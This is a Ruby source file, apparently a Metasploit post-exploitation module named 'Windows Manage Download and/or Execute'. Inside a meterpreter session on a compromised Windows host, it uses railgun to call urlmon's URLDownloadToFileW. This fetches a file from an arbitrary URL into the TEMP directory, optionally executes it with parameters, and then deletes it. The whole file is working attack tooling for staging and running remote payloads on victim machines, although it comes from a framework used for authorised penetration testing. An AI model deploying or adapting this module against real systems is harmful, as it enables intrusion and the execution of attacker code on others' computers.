##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post

  include Msf::Post::File

  def initialize(info={})
    super(update_info(info,
      'Name'                 => "Windows Manage Download and/or Execute",
      'Description'          => %q{
        This module will download a file by importing urlmon via railgun.
        The user may also choose to execute the file with arguments via exec_string.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => ['win'],
      'SessionTypes'         => ['meterpreter'],
      'Author'               => ['RageLtMan']
    ))

    register_options(
      [
        OptString.new('URL',           [true, 'Full URL of file to download' ]),
        OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
        OptString.new('FILENAME',      [false, 'Name for downloaded file' ]),
        OptBool.new(  'OUTPUT',        [true, 'Show execution output', true ]),
        OptBool.new(  'EXECUTE',       [true, 'Execute file after completion', false ]),
      ], self.class)

    register_advanced_options(
      [
        OptString.new('EXEC_STRING',   [false, 'Execution parameters when run from download directory' ]),
        OptInt.new('EXEC_TIMEOUT',     [true, 'Execution timeout', 60 ]),
        OptBool.new(  'DELETE',        [true, 'Delete file after execution', false ]),
      ], self.class)

  end

  # Check to see if our dll is loaded, load and configure if not

  def add_railgun_urlmon

    if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty?
      session.railgun.add_dll('urlmon','urlmon')
      session.railgun.add_function(
        'urlmon', 'URLDownloadToFileW', 'DWORD',
          [
            ['PBLOB', 'pCaller', 'in'],
            ['PWCHAR','szURL','in'],
            ['PWCHAR','szFileName','in'],
            ['DWORD','dwReserved','in'],
            ['PBLOB','lpfnCB','inout']
      ])
      vprint_good("urlmon loaded and configured")
    else
      vprint_status("urlmon already loaded")
    end

  end

  def run

    # Make sure we meet the requirements before running the script, note no need to return
    # unless error
    return 0 if session.type != "meterpreter"

    # get time
    strtime = Time.now

    # check/set vars
    url = datastore["URL"]
    filename = datastore["FILENAME"] || url.split('/').last

    env_vars = session.sys.config.getenvs(datastore['DOWNLOAD_PATH'], 'TEMP')
    download_path = env_vars[datastore['DOWNLOAD_PATH']]
    if download_path.blank?
      path = env_vars['TEMP']
    else
      path = download_path
    end

    outpath = path + '\\' + filename
    exec = datastore['EXECUTE']
    exec_string = datastore['EXEC_STRING'] || ''
    output = datastore['OUTPUT']
    remove = datastore['DELETE']

    # set up railgun
    add_railgun_urlmon

    # get our file
    vprint_status("Downloading #{url} to #{outpath}")
    client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil)

    # check our results
    begin
      out = session.fs.file.stat(outpath)
      print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
    rescue
      print_error("File not found. The download probably failed")
      return
    end

    # Execute file upon request
    if exec
      begin
        cmd = "#{outpath} #{exec_string}"

        # If we don't have the following gsub, we get this error in Windows:
        # "Operation failed: The system cannot find the file specified"
        cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ')

        print_status("Executing file: #{cmd}")
        res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
        print_good(res) if output and not res.empty?
      rescue ::Exception => e
        print_error("Unable to execute: #{e.message}")
      end
    end

    # remove file if needed
    if remove
      begin
        print_status("Deleting #{outpath}")
        session.fs.file.rm(outpath)
      rescue ::Exception => e
        print_error("Unable to remove file: #{e.message}")
      end
    end
  end
end